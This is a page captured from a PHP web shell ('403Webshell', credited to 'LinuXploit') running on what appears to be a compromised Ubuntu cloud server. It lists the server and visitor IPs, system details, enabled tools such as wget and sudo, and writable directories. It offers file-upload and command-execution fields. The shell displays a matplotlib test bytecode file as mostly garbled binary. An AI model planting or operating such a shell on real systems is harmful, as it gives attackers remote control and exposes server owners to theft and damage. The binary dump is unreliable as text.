403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_matplotlib.cpython-312.pyc
�

G8�cD
��l�ddlZddlZddlZddlZddlZej
j
dgd��d��Zej
jejdk(d��ej
jejdk7xrej�dk(d��d	���Zd
�Zd�Z
d�Zy)
�Nzversion_str, version_tuple))z3.5.0)��r�finalr)z3.5.0rc2)rrr�	candidate�)z3.5.0.dev820+g6768ef8c4c)rrr�alpha�4)z3.5.0.post820+g6768ef8c4c)rr�rr	c�8�tj|�|k(sJ�y)N)�
matplotlib�_parse_to_version_info)�version_str�
version_tuples  �B/usr/lib/python3/dist-packages/matplotlib/tests/test_matplotlib.py�test_parse_to_version_infor
s���,�,�[�9�]�J�J�J��ntz%chmod() doesn't work as is on Windows)�reasonzchmod() doesn't work as rootc��tj|�j}	tj|d�t	j
tjddgitj�dt|�i�tjdd��}d|jvsJ�	tj||�y#tj||�wxYw)	zETest that a warning is emitted if a temporary configdir must be used.r�-czimport matplotlib�MPLCONFIGDIRT)�env�stderr�universal_newlines�checkzset the MPLCONFIGDIRN)�os�stat�st_mode�chmod�
subprocess�run�sys�
executable�environ�str�PIPEr)�tmpdir�mode�procs   r�test_tmpconfigdir_warningr*s����7�7�6�?�"�"�D��
�������~�~�
�^�^�T�#6�7�;�2�:�:�;�~�s�6�{�;��?�?�t�4�I��&����4�4�4�
�������������s�A<B5�5C
c��tjtjddgitj
�dt
|�i�d��y)NrzOimport pathlib; pathlib.Path.home = lambda *args: 1/0; import matplotlib.pyplotrT)rr)r r!r"r#rr$r%)r's r�test_importable_with_no_homer,&s=���N�N�	����
$�	%�
8�r�z�z�7�>�3�v�;�7�t�	Erc���d�}t|d��ttjj�k(sJ�t|d��ttjj�k(sJ�y)z�
    Test that the standard backends mentioned in the docstring of
    matplotlib.use() are the same as in matplotlib.rcsetup.
    c� �g}tjjj|�djd�D]H}|j	�s|S||jd�D�cgc]}|s�|j	���c}z
}�J|Scc}w)Nr
�
�,)r�use�__doc__�split�strip)�key�backends�line�es    r�parsez-test_use_doc_standard_backends.<locals>.parse3s������N�N�*�*�0�0��5�a�8�>�>�t�D�	B�D��:�:�<����
�D�J�J�s�O�A�q�q�����A�A�H�	B����Bs�(B�0Bz- interactive backends:
z- non-interactive backends:
N)�setr�rcsetup�interactive_bk�non_interactive_bk)r9s r�test_use_doc_standard_backendsr>.sk��
�
��1�2�3��
�"�"�1�1�2�
3�4�
3���5�6�7��
�"�"�5�5�6�
7�8�
7rc��d}tjdd|g}tj|itj
�ddi���dk(sJ�y)	z�
    When using -OO or export PYTHONOPTIMIZE=2, docstrings are discarded,
    this simple test may prevent something like issue #17970.
    z�import matplotlib as mpl; import matplotlib.pyplot as plt; import matplotlib.cbook as cbook; import matplotlib.patches as mpatchesz-OOr�
MPLBACKEND�)rrN)r"r#r �callrr$)�program�cmds  r�test_importable_with__OOrEAsJ��	0���>�>�5�$��
0�C��?�?�3�$D�r�z�z�$D�<��$D�E��J�J�Jr)rr r"�pytestr�mark�parametrizer�skipif�name�geteuidr*r,r>rE�rr�<module>rMs���	��
�
�������5�8��K�
�K�������G�G�t�O�C��E������B�G�G�t�O�9�
��
�
���(9�9��;��;�E��E�8�&Kr

Youez - 2016 - github.com/yon3zu
LinuXploit